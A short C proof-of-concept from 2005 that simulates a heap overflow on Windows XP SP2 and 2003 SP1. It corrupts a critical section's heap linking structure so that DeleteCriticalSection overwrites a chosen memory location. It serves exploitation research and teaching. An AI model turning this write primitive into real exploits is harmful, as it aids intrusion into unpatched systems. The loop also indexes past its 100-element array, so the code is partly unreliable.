/*
-------------------------------------------------------------------------------
Simulates a heap overflow in a critical section linking structure,
and trigger a memory overwrite
Works with Microsoft Windows XP SP2 and Windows 2003 SP1
(c) Nicolas Falliere, 2005
-------------------------------------------------------------------------------
*/

#include <windows.h>
#include <stdio.h>


// Saved initial "Cookie" buffer
const BYTE  init_buffer[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx";

// "Cookie" buffer
BYTE  buffer[] = "xxxxxxxxxxxxxxxxxxxxxxxxxxxx";



LONG UEF(EXCEPTION_POINTERS *pEx)
{
    printf("\n-- In Final Exception Filter... ---\n");
    printf("Cookie=%s\n", buffer);

    getchar();
    ExitProcess(-1);
    
    // Useless
    return EXCEPTION_CONTINUE_SEARCH;
}


int main(void)
{
    HANDLE            hHeap;
    DWORD             *p;
    INT               i;
    CRITICAL_SECTION  cs[100];

    
    hHeap = GetProcessHeap();

    SetUnhandledExceptionFilter((LPTOP_LEVEL_EXCEPTION_FILTER)UEF);
    printf("Cookie=%s\n\n", buffer);

    // Createa a critical section
    for(i = 0; i < 300; i++)
    {
        InitializeCriticalSection(&cs[i]);
        p = (DWORD *)(cs+i);

        // Checks the linking structure is located on the heap
        // Pre-allocated linking structures in ntdll's data section get
        // busy pretty quickly
        if((p[0] > (DWORD)hHeap) && (p[0] < ((DWORD)hHeap + 0x10000)))
            break;
    }

    printf("=> Critical section created\n");
    printf("=> Linking structure at: %08x\n", p[0]);
    
    p = (DWORD *)p[0];
    printf("=> Before modification : A=%8X B=%8X\n", p[2], p[3]);
    p[2] = 0x41414141;
    p[3] = (DWORD)buffer;
    printf("=> After modification  : A=%8X B=%8X\n", p[2], p[3]);
    
    // This triggers the overwriting, and the exception
    DeleteCriticalSection(cs+i);
    // You should not see that (
    printf("=> Critical section deleted\n");

    return 0;
}
